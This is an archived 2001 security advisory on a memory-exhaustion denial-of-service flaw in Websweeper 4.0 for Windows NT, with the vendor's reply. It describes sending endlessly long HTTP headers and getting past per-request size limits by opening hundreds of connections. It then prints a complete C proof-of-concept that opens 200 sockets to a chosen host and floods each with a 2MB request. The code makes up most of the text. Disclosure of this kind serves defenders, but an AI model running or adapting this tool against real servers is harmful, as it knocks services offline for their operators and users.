COMMAND
Websweeper
SYSTEMS AFFECTED
Websweeper 4.0 for Windows NT
PROBLEM
Following is based on a Defcom Labs Advisory def-2001-10 by Peter
Grundl. The Websweeper application from Baltimore Technologies
is vulnerable to a Denial of Service attack. Malicious usage can
lead to the application crashing.
By sending an infinitely long HTTP request through the Websweeper
application, it is possible to cause it to consume all available
memory on the server and eventually have the operating system kill
the process.
The term "infinitely long HTTP request" needs some clarification,
as it is not really a request, because it is never issued. The
point is to use up all available buffer memory in the application,
and if this buffer is not restricted, cause the application to be
killed by the operating system.
The concept works on a lot of HTTP applications, and the idea came
from reading one of Marc Maiffrets posts to Bugtraq and this
really goes far beyond just the Websweeper application.
What you do in practice is this:
GET / HTTP/1.0
Host: www.foo.org
referrer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.................
And keep filling in a's. The HTTP request will then be buffered
and the a's will be pushed to the application and memory will be
allocated to handle the beginning request. Some HTTP applications
will restrict the size of HTTP requests, like IIS/4.0 (2MB), but
that can be bypassed by opening up eg. 500 connections. 500x2 =
1000Mb.
This is all terribly generalized, as some applications handle
these attacks quite well, but a lot of them do not. Eg. IIS/5.0
handles it rather well, as the maxhttprequest size here is around
148Kb.
Proof of concept was written by honoriak:
/*
[ honoriak from [HeliSec] 22.3.2001
[ Proof of concept Websweeper Infinite HTTP Request DoS ]
[ Advisory Defcom Labs Advisory def-2001-10 ]
Thanks to doing and all helisec members: merphe, jet-li, kiss,
lyw0d, bonjy.
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <time.h>
#include <sys/time.h>
#include <fcntl.h>
#define PORT 80
#define LEN 2000000
#define CON 200
int i, v, n, sel, envi;
int cons[CON];
char ah[LEN];
char ahh[LEN + 7];
char *host;
fd_set env;
struct sockaddr_in victim;
void usage(char *prog) {
printf("[ Websweeper Infinite HTTP Request DoS by honoriak@mail.ru ");
printf("from Helisec ]\n");
printf("-- Advisory: Defcom Labs Advisory def-2001-10 --\n\n");
printf("Usage: %s hostname number_of_gets\n", prog);
exit(0);
}
unsigned long resolver(char *h) {
struct in_addr h2;
struct hostent *hvic;
if (!(hvic = gethostbyname(h))) return(0);
memcpy((char *)&h2.s_addr, hvic->h_addr, hvic->h_length);
return(h2.s_addr);
}
int main(int argc, char *argv[])
{
if (argc < 2)
{
usage(argv[0]);
}
bzero(&victim, sizeof(victim));
victim.sin_family = AF_INET;
victim.sin_port = htons(PORT);
if ( (inet_pton(AF_INET, argv[1], &victim.sin_addr)) <= 0)
{
victim.sin_addr.s_addr = resolver(argv[1]);
}
if (!victim.sin_addr.s_addr) {
printf("Error resolving host\n");
exit(-1);
}
for (i=0; i<=(LEN-1); i++) ah[i] = 'a';
ah[LEN-1] = '\0';
printf("Sending Infinite HTTP Request...\n");
sprintf(ahh, "GET /%s\n", ah);
for (sel=0; sel < CON; sel++)
{
if ((cons[sel] = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("Error opening socket\n");
exit(-1);
}
if ( (n=connect(cons[sel], (struct sockaddr *)&victim, sizeof(victim))) < 0) {
printf("Error connecting\n");
exit(-1);
}
}
for (sel=0; sel < CON; sel++) {
FD_SET(cons[sel], &env);
envi=select(cons[sel] + 1, NULL, &env, NULL, NULL);
if ( FD_ISSET(cons[sel], &env) ) {
if ( (send(cons[sel], ahh, strlen(ahh), 0)) < 1) {
printf("Error sending\n");
exit(-1);
}
}
}
exit(-1);
}
SOLUTION
The Vendor was contacted February 27th, 2001 and replied:
"Unfortunately it is not possible to legislate for all deliberate
attacks. If a client program wilfully sends a large number of
malformed requests and holds the connections open, the request
data will fill up the memory and eventually you will run out of
virtual memory.
Under normal situations this will not be an issue, except where
Internal Users pose a significant security risk to your system.
In these situations alternative low-level packet security
software such as firewalls may need to be considered.
Nonetheless the wider issues of what can be done to minimise
exposure to hacking is with Engineering and they are always
striving to make our products as secure and robust as possible."